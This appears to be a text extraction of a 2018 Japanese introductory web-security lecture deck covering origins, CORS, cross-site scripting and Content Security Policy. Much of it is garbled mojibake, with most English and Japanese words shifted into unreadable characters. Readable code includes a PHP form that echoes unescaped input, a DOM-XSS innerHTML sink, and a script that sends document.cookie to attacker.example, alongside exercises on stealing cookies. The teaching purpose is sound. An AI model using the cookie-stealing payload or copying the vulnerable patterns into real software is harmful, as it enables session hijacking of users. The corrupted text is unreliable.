 "DDFTT$POUSPM"MMPX0SJHJOIUUQBFYBNQMFDPN "DDFTT$POUSPM"MMPX.FUIPE(&5 1045
 "DDFTT$POUSPM"MMPX)FBEFST93&2)&"%&3 "DDFTT$POUSPM&YQPTF)FBEFST93&4)&"%&3
 "DDFTT$POUSPM.BY"HF ‣ $SPTT0SJHJOͳࢀর͕ڐՄ͞Ε͍ͯΔ0SJHJOͱ ࢖༻ͯ͠ྑ͍ϝιου  ૹͬͯྑ͍ϔομ ΞΫηεՄೳͳϔομ ༗ޮظݶͳͲͷ෇Ճ৘ใ͕ฦͬ ͯ͘Δ

  45. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετͷྫ
 3FRVFTU 45 BFYBNQMFDPN

    CFYBNQMFDPN 1045KTPO)551
 0SJHJOIUUQBFYBNQMFDPN 93&2)&"%&340.&7"-6& ‣ ϓϦϑϥΠτϦΫΤετͰॴ๬ͷϦΫΤετ΁ͷڐՄ͕͓ΓͨͷͰ ࣮ࡍ ʹൃߦ͞ΕΔ

  46. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ϓϦϑϥΠτϦΫΤετͷྫ
 3FTQPOTF 46 BFYBNQMFDPN

    CFYBNQMFDPN )5510,
 "DDFTT$POUSPM"MMPX0SJHJOIUUQBFYBNQMFDPN 93&4)&"%&340.&3&563/ ‣ $SPTT0SJHJOͰ΋ΞΫηεՄೳͳϦιʔε ϘσΟͱ93&4)&"%&3ϔο μ ͕ฦ٫͞ΕΔ

  47. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ൃలෆద੾ͳ$034ར༻ྫ
 ࢓ํͳ͍ͱ͖΋͋Δ͚ΕͲʜ 47 Access-Control-Allow-Origin:

    * Access-Control-Allow-Origin: http://example.com ‣  ΞελϦεΫ Ͱ0SJHJOΛࢦఆ͢Δͷ͸ศར͕ͩ ඇTUBUJDͳ ΋ͷʹ·Ͱ෇͚ͯ͠·͏ͱ ηΩϡϦςΟ্ͷ໰୊ʹͳΓ͏Δ ‣ FH$43'5PLFO΍ݸਓ৘ใͷಡΈग़͠ ‣ 0SJHJOΛߜͬͯ΋ ͜ΕΛղऍ͢Δͷ͸͋͘·Ͱϒϥ΢βͰ͋Δ ‣ ѱҙͷ͋Δਓ͕ؒ0SJHJOΛվมͯ͠ϦΫΤετΛൃߦͰ͖Δ ‣ $034͸ΞΫηεݖݶͷ؅ཧͰ͸ͳ͍ػີ৘ใΛஔ͔ͳ͍

  48. &YFSDJTF
 0SJHJOؔ࿈ͷηΩϡϦςΟ
 ػߏΛ࣮ײ͠Α͏

  49. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ &YFSDJTF$034
 4BNF0SJHJO1PMJDZʹΑΔ੍ݶΛମײ͠Α͏ 49 ࣍ʹΞΫηεͯ͠ମײ͠Α͏

    ԋशωοτϫʔΫ্Ͱ  IUUQXFCTFDFYBNQMFTPQ ‣ ϖʔδԼ෦ʹ$034ؔ࿈ͷσϞ͕͋Γ·͢ ‣ ઌఔ·Ͱ401Φϯͷͱ͖ʹϒϩοΫ͞Ε͍ͯͨ$SPTT0SJHJOͷ ௨৴͕ $034ʹΑΓ؇࿨͞Εͯ௨͍ͬͯΔ ‣ ϓϦϑϥΠτϦΫΤετ͕ඈͿ༷ࢠ΋ %FWFMPQFS5PPMTͷ /FUXPSLλϒ͔ΒݟͯΈ·͠ΐ͏

  50. $SPTT4JUF4DSJQUJOH 944ͷݪཧ ࣮ફ ରࡦ

  51. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ͦͷલʹηογϣϯ
 Α͘ݟΔ1)14&44*%౳ͷ΍͍ͬͯΔ͜ͱ ‣ )551͸جຊతʹεςʔτϨε

    TUBUFMFTT ͳϓϩτίϧ ‣ εςʔτΛอଘ͢ΔͨΊʹΑ͘࢖ΘΕΔͷ͕ηογϣϯ ‣ ΫϥΠΞϯτଆͰ͸$PPLJF΍(&5ύϥϝʔλ ޙऀ͸ආ͚Δ΂͖ ʹ αʔ όʔଆ͔Βड͚औͬͨηογϣϯ*%ͱݺ͹ΕΔ΋ͷΛอଘ͓͖ͯ͠  ‣ αʔόʔଆͰ͸ͦͷηογϣϯ*%ʹඥ͚ͮͯ ඞཁͳσʔλΛه࿥͓ͯ͘͠ ‣ ࣮༻ྫ ‣ FHϢʔβʔػೳ͕͋Δ৔߹ ຖϦΫΤετͰ*%ύεϫʔυΛૹΓ͚ͭΔͷ ͸φϯηϯεʜϩάΠϯ࣌ʹηογϣϯʹ৘ใΛඥ͚͓ͮͯ͘ ‣ ηογϣϯ*%͕౪·ΕΔͱ  ‣ ηογϣϯʹඥ෇͍ͨ৘ใΛ౪Ί͍ͯΔͷͱ ΄΅ ಉ͡ 51

  52. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $SPTT4JUF4DSJQUJOH 944 BUUBDLTBSFB UZQFPGJOKFDUJPO

    JOXIJDINBMJDJPVTTDSJQUT BSFJOKFDUFEJOUPPUIFSXJTFCFOJHOBOE USVTUFEXFCTJUFT IUUQTXXXPXBTQPSHJOEFYQIQ$SPTTTJUF@4DSJQUJOH@ 944  l 944֓ཁ
 $SPTT4JUF4DSJQUJOHͱ͸ҰମԿ͔ 52

  53. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944ݪཧ
 944͸͍͔ʹͯ͠ى͜Δ͔ ‣ ίϯςΩετʹݟ߹ͬͨΤεέʔϓ͕ͳ͞Εͳ͍··

    Ͳ͔͔͜Β ೖྗ͞Εͨจࣈྻ͕ग़ྗ͞ΕΔ͜ͱʹΑΓى͜Δ 53 <form> <input type="text" name="q" value="<?= $_GET["q"] ?>"> <input type="submit" value="search"> </form> <p><?php echo $_GET["q"]; ?> ͷݕࡧ݁Ռ </p> <!-- ... -->

  54. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944Өڹ
 0SJHJOͱ͍͏؍఺͔Βݟͨ944 ‣ 4BNF0SJHJO1PMJDZʹΑΓ

    ͋Δ0SJHJO͸ ͦͷ֎෦ͷ0SJHJO ͔Β͸σʔλ͕ୣऔ͞Εͳ͍ ˞ྫ֎͸͋Δ ɻ ‣ 944͸ͦͷ0SJHJOͷ಺෦ʹ৵ೖ͢Δ߈ܸ ͩͱଊ͑ΒΕΔɻ ‣ ߈ܸऀ͸401ͷ੍໿Λड͚ͣʹ ର৅0SJHJOͷ಺ଆΛಈ͖ճΕΔ 54 Origin A εΫϦϓτૠೖ

  55. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 3FqFDUFE944
 944ͷ෼ྨ 55 ࢦఆͨ͠ϦΫΤετΛඪత͕ൃߦ͢ΔΑ͏༠ಋ


    FHIUUQFYBNQMFDPN TFBSDITDSJQUBMFSU  TDSJQU ඪత͕༠ಋ͞ΕͯϦΫΤετΛൃߦ Ԛછࡁίϯςϯπͷฦ٫
 FHITDSJQUBMFSU  TDSJQUͰͷݕࡧ݁ՌI

  56. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 4UPSFE944
 944ͷ෼ྨ 56 ѱҙͷ͋ΔεΫϦϓτΛೖྗ஋ͱͯ͠஫ೖ


    FHϒϩάͷίϝϯτͱͯ͠TDSJQUBMFSU  TDSJQUΛૹ৴ อଘ อଘ ΞΫηε Ԛછࡁίϯςϯπͷฦ٫

  57. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ %0.
 %PDVNFOU0CKFDU.PEFM ‣ )5.-

    ΍9.- ͷߏ ଄ʹΞΫηε͢ΔͨΊ ͷ࿮૊ ‣ จষߏ଄Λ5SFFܗͷ Ϟσϧͱͯ࣋ͭ͠ ‣ 8)"58(ʹΑΔఆٛ
 IUUQTEPNTQFDXIBUXHPSH 57 <section> <body> <header> <main> <h2> <section> <p> <h2> <p>

  58. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ %0.#BTFE944
 944ͷ෼ྨ 58 document.getElementById("query").innerHTML

    = '<p>'+decodeURI(location.hash.substring(1))+'</p>'; ‣ %0.ૢ࡞ʹΑͬͯҾ͖ى͜͞ΕΔ944Λ%0.#BTFE944ͱݺͿ ‣ ଞͷ944छ͸֓ͶUBJOUFEͳίʔυ͕ฦͬͯ͘Δͷʹର͠  %0.#BTFE944Ͱ͸UBJOUFEͰͳ͍ίʔυ͕ฦͬͯ͘Δ৔߹΋͋ Δ

  59. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ͍͔ʹͯ͠৵ೖ͢Δ͔
 $PPLJFΛ౪Ήͱ͍͏͜ͱ 59 ‣

    EPDVNFOUDPPLJF͕౪·ΕΔͱͲ͏ͳΔ͔ ‣ ηογϣϯ؅ཧʹ͸͠͹͠͹$PPLJF͕࢖ΘΕΔ 㲎)551͸εςʔτϨε  ‣ ηογϣϯ͕౪·ΕΔ͜ͱ͸  JE QBTTXPSE ͕౪·ΕΔ͜ͱʹ͍ۙ ‣ ΋ͪΖΜݫີʹ͸ҰॹͰ͸ͳ͍͕ ‣ ߈ܸऀ͸౪Μͩ$PPLJFΛ࢖ͬͯ ߈ܸର৅ͷηογϣϯΛୣ͑Δ <script>
 document.location = '//attacker.example/?' + document.cookie; 
 </script>

  60. &YFSDJTF
 944ͷݪཧΛཧղ͠Α͏

  61. &YFSDJTF
 $PPLJFΛୣऔͯ͠ΈΑ͏

  62. &YFSDJTF
 944$IBMMFOHF

  63. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944$IBMMFOHF!0LBZBNB
 ·͔ͣΜͨΜͳറΓ෇͖944ʹ௅ઓͯ͠ΈΑ͏ ͜Ε͸ԼهϦϯΫ͔ΒΦϯϥΠϯͰ௅ઓՄೳͰ͢ IUUQTYTTTIJGUKTJOGP

    63

  64. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944ൃల
 944ؔ࿈ٕज़ͷைྲྀ 64 ೥͝Ζ

    ೥͝Ζ ೥͝Ζ ೥͝Ζ 944ͱ͍͏ݴ༿͕࢖ΘΕ͸͡ΊΔ
 $SPTTTJUFTDSJQUJOHBUUBDLT944&YQMPJUTBOEEFGFOTFͳͲ
 %0.#BTFE944ͱ͍͏ݴ༿͕࢖ΘΕ͸͡ΊΔ
 IUUQXXXXFCBQQTFDPSHQSPKFDUTBSUJDMFTTIUNM … 4DSJQUMFTT"UUBDLͱ͍͏֓೦͕ग़ݱ͢Δ
 )FJEFSJDIFUBM IUUQTXXXOETSVCEFNFEJBFNNB WFSPF⒎FOUMJDIVOHFOTDSJQUMFTT"UUBDLTDDTQEG 4DSJQU(BEHFUTͱ͍͏ݴ༿͕ग़ݱ͢Δ
 -FJLJFTFUBM IUUQTHJUIVCDPNHPPHMFTFDVSJUZSFTFBSDIQPDT USFFNBTUFSTDSJQUHBEHFUT

  65. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 944ରࡦ
 ͍͔ʹͯ͠कΔ͔ 65 ࣮૷

    w σʔλͷྲྀΕɾจ຺ʹԠͨ͡Τεέʔϓॲཧ ݕࠪ w े෼ͳηΩϡϦςΟςετ w े෼ͩͱࢥ͏੍໿΋ Ҋ֎ෆे෼͔΋  w ෆద੾ͳ࣮૷ %PVCMF&ODPEJOH FUD ͸  ͠͹͠͹࣮૷͔Βݟ͑ʹ͍͘ ༧๷ w $POUFOU4FDVSJUZ1PMJDZͷઃఆ౳ w ࣮ߦ͞Εͯ΋ඃ֐Λ཈͑ΒΕΔΑ͏ʹ

  66. 'VUVSF
 8FCʹ͓͚Δ
 ηΩϡϦςΟڥքͷ
 ՝୊ͱະདྷ

  67. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊ෆଗ͍ͳڥքͨͪ
 $PPLJFͷ΋ͭྺ࢙తܦҢ 67 ‣

    $PPLJF͸0SJHJOϥΠΫͳผͷઢҾج४Λ࣋ͭ ‣ FHQBUI΋ߟྀ͞ΕΔ ‣ FH਌υϝΠϯʹ$PPLJFΛઃఆͨ͠ΓͰ͖Δ ‣ $PPLJFͷొ৔͸401౳ͷొ৔ΑΓલͩͬͨͨΊ ‣ $PPLJF͕౪·Ε͏Δঢ়گͰ͸ ηογϣϯΛ౪·ΕΔ͏Δ ‣ εςʔτϨεͳ)551ʹͱͬͯ ͜Ε͸க໋తͳ͜ͱ ‣ ʮ͍͔ʹͯ͠$PPLJFΛकΔ͔ ʯͱ͍͏ͷ͸ॏཁͳ૪఺Ͱ͋Δ

  68. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ະདྷ$PPLJF
 $PPLJFΛ͍͔ʹͯ͠कΔ͔ͷྫ ‣ 4FDVSF$PPLJF

    IUUQTUPPMTJFUGPSHIUNMSGDIUNM  ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ )5514Λ༻͍ͨ௨৴ͰͷΈૹ৴͞ΕΔ ‣ )UUQ0OMZ$PPLJF IUUQTUPPMTJFUGPSHIUNMSGDIUNM  ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ EPDVNFOUDPPLJF͔ΒΞΫηεͰ͖ͳ͍ ‣ 4BNFTJUF$PPLJF IUUQTUPPMTJFUGPSHIUNMESBGUXFTUpSTUQBSUZDPPLJFT  ‣ ͜ͷଐੑ͕͍͍ͭͯΔͱ ΫϩεαΠτͳϦΫΤετͷࡍʹ $PPLJFૹ৴͕ ੍ݶ͞ΕΔ ‣ ηοτ͞ΕΔ஋ MBY͔TUSJDU ʹԠͯ͡ڍಈ͕ҟͳΔͷͰ஫ҙ 68

  69. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊0SJHJO
 ྺ࢙తʹ੾Γ෼͚ΒΕͳ͍0SJHJOୡ ·ͨઃఆͷ೉͠͞ ‣

    ྺ࢙తܦҢ͔Β੾Γ෼͚ΒΕ͍ͯͳ͍0SJHJO΋ଘࡏ͢Δ ‣ ྫIUUQTXXXHPPHMFDPNNBQTͱIUUQTXXXHPPHMFDPN ‣ 0SJHJOͷ෼ׂʹΑΓ 401΍$034ͳͲͷԸܙΛड͚ΒΕΔ ‣ ͍͔ʹͯ͠ޙํޓ׵ੑΛอͪͭͭ΋ ΑΓ҆શͳੈքΛ࡞Δ͔  ‣ ͖Ε͍ʹ੾Γ෼͚ΒΕ͍ͯͯ΋໰୊͸͋Δ ‣ جຊతʹݱঢ়ͷηΩϡϦςΟϙϦγʔ $41 $034 )454 )1,1  3FGFSSFS1PMJDZ  ͸ ϦΫΤετ͝ͱʹ෇༩͢Δඞཁ͕͋Δ͕ʜ ‣ ௨৴ճ਺ͷ૿େ $0341SFqJHIU3FRVFTUͳͲ  ‣ ϔομαΠζͷ૿େ ‣ ઃఆ΋ΕͷՄೳੑ 69

  70. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ະདྷ0SJHJO
 0SJHJOΛ͍͔ʹ֦ͯ͠ு͢Δ͔ ‣ 4VCPSJHJOT

    IUUQTXDHJUIVCJPXFCBQQTFDTVCPSJHJOT  ‣ ͋ΔҰͭͷ0SJHJOΛ ΑΓࡉ͔͘෼ྨ͢ΔͨΊͷ࢓༷ ‣ 4VCPSJHJOϔομʹΑΓOBNFTQBDFͱݺ͹ΕΔ΋ͷΛ഑৴ ‣ TDIFNF IPTU QPSU OBNFTQBDF Λ4VCPSJHJOͱ͠ ࣮༻্͸͜ΕΛγ ϦΞϥΠζͨ͠΋ͷΛ0SJHJOͱ͢Δ ‣ 0SJHJO1PMJDZ IUUQTXJDHHJUIVCJPPSJHJOQPMJDZ  ‣ 4FD0SJHJO1PMJDZϔομʹΑΓ͋Γ͔͕஌Β͞ΕΔ0SJHJO.BOJGFTUͱݺ ͹ΕΔ+40/ܗࣜͷ΋ͷΛ࢖ͬͯ 0SJHJOશମʹରͯ͠ ηΩϡϦςΟϧʔ ϧΛ഑৴ $41 )454 )1,1   ‣ 4JUF8JEF)551)FBEFSTͷΑ͏ͳྨࣅϓϩϙʔβϧ΋͋Δ 70

  71. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊8FC"1*
 ୈೋͷ04ͱͯ͠ͷ8FCϒϥ΢β ‣ ϒϥ΢βʹࡌ͍ͬͯΔػೳ͸༷ʑ

    ‣ 7JCSBUJPO (FPMPDBUJPO $BNFSB .JDSPQIPOF  ‣ ػೳ͕૿͑Δͨͼʹ ηΩϡϦςΟϦεΫ΋૿େ͢Δ ‣ ͻͱͨͼ᠘αΠτΛ౿ΜͰ͠·ͬͨΒ  ‣ 944ʹΑΓਖ਼نαΠτʹ߈ܸऀ͕ѱҙ͋ΔεΫϦϓτΛຒΊࠐΜͩΒ  ‣ ͜Ε͸୭ͷ͍ͤ  ‣ $41΍JGSBNFࣗମʹ΋TBOECPYػߏ͸͋Δ΋ͷͷ ෆे෼ ‣ શίϯςΩετʹҰ؏ੑΛอͬͨঢ়ଶͰ੍ݶΛՃ͑Δ͜ͱ͕೉͍͠ ‣ ௨ৗEJTBCMF͞Ε͍ͯΔػೳΛ໌ࣔతʹFOBCMF͢Δػೳ͕ͳ͍ 71

  72. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ະདྷ8FC"1*
 ୈೋͷ04ͱͯ͠ͷ8FCϒϥ΢βΛ ͍͔ʹͯ͠कΔ͔ ‣

    'FBUVSF1PMJDZ IUUQTXJDHHJUIVCJPGFBUVSFQPMJDZ  ‣ )551ϔομΛ௨ͯ͠ ϒϥ΢βػೳΛ໌ࣔతʹ༗ޮԽɾແޮԽ͢ΔͨΊͷ ηΩϡϦςΟϙϦγʔ ‣ 0SJHJOผ ػೳผʹهड़Մೳ ‣ 'FBUVSF1PMJDZϔομΛ࢖༻ 72 // from https://wicg.github.io/feature-policy/#examples Feature-Policy: vibrate 'none'; geolocation 'none' Feature-Policy: geolocation 'self' https://example.com

  73. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ՝୊։ൃऀͱͷڠௐ
 ࢖͍΍͘͢ ཧղ͠΍͘͢ ͔ͭ҆શΛ΋ͨΒͤΔڥքΛ

    ‣ ཧ૝ͱݱ࣮ͷࠩ͸͋Δ ‣ ࣮ӡ༻Ͱ͸ ͠͹͠͹ޡͬͨPSແྗͳ$41͕ઃఆ͞Ε͍ͯΔ ‣ ࢀߟ8FJDITFMCBVNFUBMͷ$41JTEFBE MPOHMJWF$410OUIF JOTFDVSJUZPGXIJUFMJTUTBOEUIFGVUVSFPGDPOUFOUTFDVSJUZQPMJDZ ‣ ৽͍͠ϒϥ΢βଆηΩϡϦςΟϙϦγʔΛ࡞੒ɾಋೖ͠Α͏ͱͯ͠΋ ޙํ ޓ׵ੑͷରԠ͕େม ‣ FH$41ͷTUSJDUEZOBNJDʜجຊతʹ͸XIJUFMJTUCBTFEͳϧʔϧͱ ซ༻Ͱ͖ͳ͍͕ ॻ͔ͳ͍ͱTUSJDUEZOBNJDඇରԠϒϥ΢βͰ$41͕ ແྗʹͳͬͯ͠·͏ ͱ͍ͬͨ໰୊ ‣ ޙํޓ׵ੑ લํޓ׵ੑΛҙࣝͨ͠ൃల͕ཁ੥͞Ε͍ͯΔ 73

  74. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣍ʹֶͿ΂͖͜ͱ
 Φεεϝͷॻ੶ɾ࿩୊ɾจॻ ‣ 5IF5BOHMFE8FC"(VJEFUP4FDVSJOH.PEFSO8FC

    "QQMJDBUJPOT ‣ ๜༁൛ΊΜͲ͏͍͘͞8FCηΩϡϦςΟ ‣ ͲͪΒ΋ଟ͘ͷΤοδέʔε΍ྺֶ࢙΂Δຊ ‣ 5IF#SPXTFS)BDLFST)BOECPPL ‣ ๜༁൛ϒϥ΢βϋοΫ ‣ ͍͔ʹ߈ܸ͢Δ͔ʹϑΥʔΧεΛ౰ֶͯͭͭ΂Δ ໘ന͍ຊ ‣ )PXUIF8FC5BOHMFE*UTFMG6ODPWFSJOHUIF)JTUPSZPG $MJFOU4JEF8FC *O 4FDVSJUZ ‣ IUUQTQVCMJDBUJPOTDJTQBTBBSMBOEBSDIJWFPSHpOBMQEG ‣ ྺ࢙Λަ͑ͯͬ͘͟Γͱ͜Ε·Ͱͷைྲྀ΍ݱঢ়Λ೺Ѳ͢Δͷʹ͸ྑ͍ 74

  75. $PODMVTJPO ຊ೔ͷ·ͱΊ

  76. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 0VUMJOF ‣ %FGFOTFJO%FQUIଟ૚๷ޚͱ͍͏ߟ͑ํ ‣

    ଟ૚๷ޚͱݺ͹ΕΔߟ͑ํʹֶ͍ͭͯͼ·͢ ‣ #PVOEBSZ8FCϒϥ΢βதͷڥք ‣ 8FCϒϥ΢βʹ͓͚Δڥքͷྫͱͯ͠0SJHJOΛֶͼ 
 0SJHJOʹؔ࿈ͨ͠๷ޚػߏʹ͍ͭͯͷϋϯζΦϯΛߦ͍·͢ ‣ $SPTT4JUF4DSJQUJOH944ͷݪཧ ࣮ફ ରࡦ ‣ 944Λڥքͷ؍఺͔Β੔ཧ͠ ࣮ફԋशΛߦ͍·͢ ‣ 'VUVSF8FCʹ͓͚ΔηΩϡϦςΟڥքͷ՝୊ͱະདྷ ‣ ࠷ۙͷ8FCʹ͓͚ΔηΩϡϦςΟͷ࿩Λͬ͘͟Γ੔ཧ͠·͢ 76

  77. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ (PBMT ࠶ܝ 
 ຊߨٛͰ໨ࢦ͢ͱ͜Ζͷ࠶֬ೝ

    ‣ ֶͼ͍ͨ͜ͱ ‣ 8FC4FDVSJUZCZ%FTJHOઃܭஈ֊͔Βͷ8FCηΩϡϦςΟ ‣ جૅతͳ944ʹؔ͢Δ஌ࣝ ‣ Ͱ͖ͨΒ ࠷ۙͷ8FCηΩϡϦςΟ ͱΓΘ͚ϒϥ΢βͷηΩϡϦςΟػ ߏʹؔ͢Δ࿩ ‣ ߨٛऴྃޙ͍͚ͯͨͩͨ͠Βخ͍͜͠ͱ ‣ 8FCηΩϡϦςΟͷ࿩Λ๻ͱҰॹʹ௥͍͔͚ͯ΄͍͠ ‣ 8FCηΩϡϦςΟ͕޷͖ͱ͍͏ֶੜ͕ݮͬͨΑ͏ͳؾ͕͍ͯ͠Δ ‣ 8FCηΩϡϦςΟΛ޷͖ʹͳͬͯ͘ΕͨͳΒ ͱͯ΋خ͍͠ 77

  78. "OZ2VFTUJPOT  5BLBTIJ:POFVDIJ KB!MNU@TXBMMPX FO!ZOVDIZ IUUQTTIJGUKTJOGP

  79. "QQFOEJY"
 944ͷεεϝ

  80. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣮ࣾձͰͷ944
 ੍໿ͱͷઓ͍ ‣ ૉ௚Ͱ͸ͳ͍γνϡΤʔγϣϯͰͷ944͸͠͹͠͹ݟ͔ͭΔ

    ‣ FH͋Δจࣈ͕࢖͑ͳ͍ ‣ FH$41ʹΑΓಛఆ৚݅ԼͰ͔͠εΫϦϓτ͕ಈ͔ͤͳ͍ ‣ FH͋Δϒϥ΢βػೳΛ࢖Θͳ͍ͱಈ͔ͳ͍ ‣ ʮཧ࿦্ ո͍͠ڍಈ͸શ෦௵ͤ͹Α͍ͷͰ͸ ʯ ‣ ͓͕ۚབྷΉͱͦΕ͸೉͍͠ ‣ ࣮ࡍʹةݥੑ͕͋Δͱݴͬͯ΋ ߈ܸ͕௨Βͳ͍ͳΒ ϓϥΠΦϦςΟ͸௿͍ ‣ આಘྗΛ࣋ͬͨใࠂͷͨΊʹ͸ ࣮ࡍʹڴҖͨΓ͏Δ߈ܸܦ࿏Λఏࣔ͢Δ 1P$Λఏࣔ͢Δ ͜ͱ͕ Ұ൪ڹ͘ ͱ๻͸ࢥ͍ͬͯΔ  ‣ ୳͢ͷʹ΋͕͔͔࣌ؒΔͷͰ ΋ͪΖΜόϥϯε͸େࣄ 80

  81. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ޿͕Δ944$IBMMFOHF
 944$IBMMFOHFʹ௅ઓͯ͠ΈΑ͏ ‣ 3FTFBSDIFSୡ͔Β೔ʑ৽944$IBMMFOHFωλ͕ग़͍ͯΔ

    ‣ τϨϯυ΍࠷৽࢓༷Λ௥͏ͨΊʹ͘͢͝໾ʹཱͭ ‣ ݸਓతͳ͓͢͢Ίͷ944$IBMMFOHF͸Լه ‣ 944HBNFCZ(PPHMF
 IUUQTYTTHBNFBQQTQPUDPN ‣ 9441PMZHMPU$IBMMFOHFCZ!pMFEFTDSJQUPS
 IUUQTQPMZHMPUJOOFSIUNM ‣ 944$IBMMFOHFTCZ$VSF
 IUUQTHJUIVCDPNDVSF944$IBMMFOHF8JLJXJLJ 81

  82. "QQFOEJY#
 $41$POUFOU 4FDVSJUZ1PMJDZ

  83. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $POUFOU4FDVSJUZ1PMJDZ
 $41ͱ͸ҰମԿ͔ ‣ $POUFOU4FDVSJUZ1PMJDZ

    $41 ͱ͸ 944΍ͦͷଞσʔλΠϯ δΣΫγϣϯܥͷ߈ܸ͔ΒकΔͨΊͷ ௥Ճ๷ޚϨΠϠ ‣ ͬ͘͟Γݴ͏ͱ ֎෦Ϧιʔε +4 JNH GPOU FUD ͷಡΈग़͠ݩ ͷ੍ݶ΍ ͦͷଞͷηΩϡϦςΟػߏͷ ؆୯ͳ ੍ޚʹ࢖͑Δ 83 2010 'JSTU1SPQPTFE 2012 2016 8$$3 $41 8$3&$ $41-W 2018 8$8% $41-W

  84. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ ࣮ྫ
 ࣮ੈքʹ͓͚Δ$POUFOU4FDVSJUZ1PMJDZͷ࢖༻ྫ ‣ Ϟμϯͳେख8FCαʔϏε

    ‣ (JU)VC ‣ 5XJUUFS ‣ 'BDFCPPL ‣ FUD ‣ 8FCαʔϏεҎ֎ͷ҆શੑ Λ୲อ͢΂͖ͱ͜Ζ ‣ $ISPNF&YUFOTJPO ‣ 'JSFGPY"EEPO ‣ FUD 84 l *OPSEFSUPNJUJHBUFBMBSHFDMBTT PGQPUFOUJBMDSPTTTJUFTDSJQUJOH JTTVFT $ISPNFTFYUFOTJPO TZTUFNIBTJODPSQPSBUFEUIF HFOFSBMDPODFQUPG$POUFOU 4FDVSJUZ1PMJDZ $41 
 IUUQTEFWFMPQFSDISPNFDPNFYUFOTJPOT DPOUFOU4FDVSJUZ1PMJDZ

  85. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $41ͷ࢖͍ํ
 ϔομPSNFUB ‣ $41ͷઃఆํ๏͸௨Γ͋Δ

    ‣ )551Ϩεϙϯεϔομதʹهड़͢Δ ‣ )5.-தͰNFUBλάΛ༻͍ͯهड़͢Δ ‣ 4QFDJpDBUJPOTΛಡΉͱશ͕ͯॻ͍ͯ͋Δ ‣ IUUQTXXXXPSH53$41 85 Content-Security-Policy: default-src 'self' <meta http-equiv="Content-Security-Policy" content="default-src 'self'">

  86. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ $41ͷࠓޙ
 $41ʹ޲͚ͯ ‣ ଟ͘ͷ৽ػೳ΍վળ͕ଓ͍͍ͯΔ

    ‣ 'FUDIͷ࢓༷ʹ߹Θͤͨ࠶هड़ ‣ 3FQPSUJOH"1*ͱͷ౷߹ ‣ OBWJHBUFUPͳͲͷ৽EJSFDUJWF ‣ ͳͲͳͲʜ ‣ ࠷৽ͷٞ࿦Λ௥ͬͯΈΑ͏ ‣ IUUQTHJUIVCDPNXD XFCBQQTFDDTQJTTVFT 86

  87. © 2018 shift-js.info WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ &YFSDJTF$41
 $41ʹΑΔ੍ݶΛ࣮ײͯ͠ΈΑ͏ ‣ ࣄޙ՝୊࣍ΛͭͣͭऔΓ૊ΜͰΈ·͠ΐ͏

